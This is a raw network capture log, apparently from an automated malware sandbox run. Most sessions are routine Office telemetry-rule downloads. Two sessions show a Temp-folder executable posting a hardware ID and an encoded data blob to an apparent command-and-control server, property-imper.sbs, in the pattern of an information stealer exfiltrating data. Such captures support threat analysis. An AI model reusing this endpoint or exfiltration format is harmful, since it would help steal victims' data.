2024-11-23 17:22:20 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 17:22:21 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 17:22:20 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: 79f6ed77-701e-0021-554e-3c3d45000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T172220Z-15b8b599d88s6mj9hC1TEBur300000000350000000002051 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 17:22:21 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.4	49781	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 17:22:20 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 17:22:21 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 17:22:21 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: 4b4d3db7-601e-003d-0147-3c6f25000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T172221Z-178bfbc474btvfdfhC1NYCa2en00000004t000000000eta2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 17:22:21 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.4	49782	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 17:22:21 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 17:22:21 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 17:22:21 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: b7a4c0f2-401e-0064-554c-3c54af000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T172221Z-15b8b599d88tmlzshC1TEB4xpn000000032000000000g81m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 17:22:21 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.4	49785	172.67.162.84	443	7632	C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 17:22:21 UTC	282	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=NL0YLR4J895VVRXS User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18157 Host: property-imper.sbs
2024-11-23 17:22:21 UTC	15331	OUT	Data Raw: 2d 2d 4e 4c 30 59 4c 52 34 4a 38 39 35 56 56 52 58 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 35 36 46 32 43 39 45 45 36 39 46 46 44 34 38 44 37 43 42 42 44 36 44 46 32 38 44 33 37 33 32 0d 0a 2d 2d 4e 4c 30 59 4c 52 34 4a 38 39 35 56 56 52 58 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 4e 4c 30 59 4c 52 34 4a 38 39 35 56 56 52 58 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 Data Ascii: --NL0YLR4J895VVRXSContent-Disposition: form-data; name="hwid"E56F2C9EE69FFD48D7CBBD6DF28D3732--NL0YLR4J895VVRXSContent-Disposition: form-data; name="pid"2--NL0YLR4J895VVRXSContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic
2024-11-23 17:22:21 UTC	2826	OUT	Data Raw: 66 35 eb c7 4a 53 81 68 2f 88 dd e0 cb 99 64 7e e6 28 bf 13 cc 94 75 5e c1 bc c6 a2 f2 ea 27 0a 66 e1 9f 97 c5 15 2e a7 07 cf 5c b7 ad 66 f0 cc 99 a8 33 f7 13 05 cf ec 85 7a 3b 85 8d 54 32 2f 1f e5 1b c1 33 7b 37 a5 bf 9f 8e 3a f1 6e 9a e0 79 69 60 c1 4c a6 f2 f7 de 4b 1f 36 af 1d f9 d7 e0 58 6d 5b 0b fd 9c 0a b5 9b 60 cc b0 d7 ab 1f 3b d0 52 0a 9f fd 54 22 95 3f 7a 94 ff 75 ab 9f a1 e3 6f 93 83 99 38 43 4e 2f 95 2f 6d 6e ac ae d3 03 1e ad ac 6f 7a a3 8a 81 36 d9 bf 1f 83 71 fd 1a ed c5 4d d3 3e 9b d8 ac 97 0c bd 15 36 2b 97 37 bb ef 2e 57 0f bc 3e 57 2a 0f 97 2f ad 6d 4a a7 02 2f 2b 7f 42 10 78 3e ba 45 a8 b5 6d 75 bf 83 75 53 b3 09 3b 9c 3e 27 56 d3 d4 ab d6 33 5e 4f 4d 1f 4e cd b2 89 b4 bc b1 b1 56 29 af ef 1e fa 70 79 ed 62 65 cf 7b d9 de 73 45 81 36 Data Ascii: f5JSh/d~(u^'f.\f3z;T2/3{7:nyi`LK6Xm[`;RT"?zuo8CN//mnoz6qM>6+7.W>W*/mJ/+Bx>EmuuS;>'V3^OMNV)pybe{sE6
2024-11-23 17:22:22 UTC	1016	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 17:22:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=s8n688ug1hbi9e6s03mo41ar3h; expires=Wed, 19-Mar-2025 11:09:01 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Kk10w072Gpk2h4RLgmfy3W1uk0OG0yIMVNrLm5XTNv0hLg6%2FOYLvHvJcFuNkcuy1wPxIy9lQxfOVn0y5D9n1aMyBWEun9WL%2F49hmz9JzbE4DBm9vgPKBOjDDXUQLxfXoXP2eAuI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e72d7454bdb8c83-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1880&sent=14&recv=21&lost=0&retrans=0&sent_bytes=2846&recv_bytes=19119&delivery_rate=1607929&cwnd=188&unsent_bytes=0&cid=7810e98c698a9d3b&ts=1237&x=0"
2024-11-23 17:22:22 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-23 17:22:22 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.4	49784	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 17:22:21 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 17:22:22 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 17:22:21 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: ed66cbfc-201e-0051-7e30-3c7340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T172221Z-15b8b599d88cn5thhC1TEBqxkn000000035g0000000064p0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 17:22:22 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.4	49783	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 17:22:21 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 17:22:22 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 17:22:21 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: 20e2cd06-701e-005c-2869-3bbb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T172221Z-178bfbc474btrnf9hC1NYCb80g0000000510000000000d4b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 17:22:22 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.4	49786	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 17:22:23 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 17:22:23 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 17:22:23 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: 171ae584-101e-005a-6763-3b882b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T172223Z-178bfbc474bgvl54hC1NYCsfuw00000004v0000000002cgy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 17:22:23 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.4	49788	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 17:22:23 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 17:22:24 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 17:22:24 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: 8b9ec706-101e-000b-544c-3c5e5c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T172224Z-15b8b599d886w4hzhC1TEBb4ug000000038000000000dka3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 17:22:24 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.4	49789	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 17:22:23 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 17:22:24 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 17:22:24 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: 5b8d3f05-a01e-006f-2465-3b13cd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T172224Z-178bfbc474bxkclvhC1NYC69g400000004qg000000009byx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 17:22:24 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.4	49791	172.67.162.84	443	7632	C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 17:22:23 UTC	273	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=MOB28BQG User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8730 Host: property-imper.sbs
2024-11-23 17:22:23 UTC	8730	OUT	Data Raw: 2d 2d 4d 4f 42 32 38 42 51 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 35 36 46 32 43 39 45 45 36 39 46 46 44 34 38 44 37 43 42 42 44 36 44 46 32 38 44 33 37 33 32 0d 0a 2d 2d 4d 4f 42 32 38 42 51 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 4d 4f 42 32 38 42 51 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 4d 4f 42 32 38 42 51 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 Data Ascii: --MOB28BQGContent-Disposition: form-data; name="hwid"E56F2C9EE69FFD48D7CBBD6DF28D3732--MOB28BQGContent-Disposition: form-data; name="pid"2--MOB28BQGContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--MOB28BQGContent-Di
2024-11-23 17:22:24 UTC	1020	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 17:22:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=mqjd27aheniuc922gkqiaqg28c; expires=Wed, 19-Mar-2025 11:09:03 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=anZproSwzD9PzlOaAU6gnL3EO%2FT%2F5FQTmlNJQEXamdSNOr94SCQ1Hk8D8EqZ2I1N1AwkCXap3wFjO0nWWLKeCmIW4%2Fn2%2B2BVhFG3ztp6bCUuTsaudiYEbcY0NpEy2YFOSna%2BaE8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e72d75589575e60-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1675&sent=11&recv=14&lost=0&retrans=0&sent_bytes=2845&recv_bytes=9661&delivery_rate=1723730&cwnd=247&unsent_bytes=0&cid=6ed7e433cacbf04c&ts=945&x=0"
2024-11-23 17:22:24 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-23 17:22:24 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.4	49790	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 17:22:23 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 17:22:24 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 17:22:24 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: 2250be27-501e-007b-7961-3b5ba2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T172224Z-178bfbc474bh5zbqhC1NYCkdug00000004ng00000000epr2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
